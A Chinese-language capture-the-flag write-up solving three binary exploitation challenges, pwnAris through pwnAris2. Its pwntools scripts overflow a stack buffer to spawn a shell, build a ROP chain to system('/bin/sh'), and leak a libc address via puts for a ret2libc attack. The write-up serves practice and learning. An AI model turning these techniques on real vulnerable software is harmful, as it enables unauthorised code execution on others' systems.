最大的一个坑就是很多题目 ubantu18 做不对，16 可以，即使没用到 libc 也不行，神奇……

pwnAris

从 command 和 s 的偏移量距离来看，encrypt 函数对最后的 system 的操作可以忽略不记，scanf 没有限制我们输入的字符串长度，直接通过溢出覆盖掉 command
Exp

```
#coding=utf8
from pwn import *

cn = process('./pwnAris')
bin = ELF('./pwnAris')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

cn.recvuntil('But first of all,you should prove yourself.')
cn.sendline('a'*32+'/bin/sh')
cn.interactive()
```

pwnAris1

刚开始偷懒直接对 system 函数下断点，改掉了 rax 就可以了，然后好好做一遍
直接修改 rip，注意 64 位 ELF 的传参顺序

```
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
p = process("./pwnAris1")

sys_plt = 0x400590
bin_sh_addr = 0x400898
p_rdi_r = 0x400873

pay = 'a'*0x20 + 'b'*8
pay += p64(p_rdi_r)
pay += p64(bin_sh_addr)
pay += p64(sys_plt)

p.sendlineafter("yourself.\n",pay)
p.interactive()
```

pwnAris2

```
[*] '/home/xiaoyuyu/ctf_test/pwnAris2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

栈保护还是没有开

和之前最大的区别就是没有 system 函数和/bin/sh 字符串之类了，通过栈溢出泄露地址，试试看

Padding 到 rip 劫持程序流程泄露 puts 函数地址，然后和 libc 文件比较偏移量，求出 system 函数和/bin/sh 字符串在程序执行时在内存中真实的地址，rop 回 main 函数再次执行时，就可以调用了 system 函数了

```
cn=process('./pwnAris2')
bin=ELF('./pwnAris2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

main_addr=0x00000000004006DD
rdi_addr=0x0000000000400813

#z('b *0x0000000000400796\nc')
#z('b *0x000000000040073A\nc')
payload='a'*(0x20+0x08)
payload+=p64(rdi_addr)
payload+=p64(bin.got['puts'])
payload+=p64(bin.plt['puts'])
payload+=p64(main_addr)
cn.recvuntil('But first of all,you should prove yourself.')
cn.sendline(payload)
cn.recvuntil('Sorry..')
#cn.recvuntil('ihaaaaaaaaaaaaaa')
puts_addr=u64(cn.recvuntil('\x7f')[-6:].ljust(8,'\0'))
#puts_addr=u64(cn.recv(56)[-20:-8])
print(hex(puts_addr))
offset=-libc.symbols['puts']+puts_addr
system_addr=libc.symbols['system']+offset
bin_addr=libc.search('/bin/sh').next()+offset
payload='a'*(0x20+0x08)
payload+=p64(rdi_addr)
payload+=p64(bin_addr)
payload+=p64(system_addr)
cn.recvuntil('But first of all,you should prove yourself.')
cn.sendline(payload)

cn.interactive()
```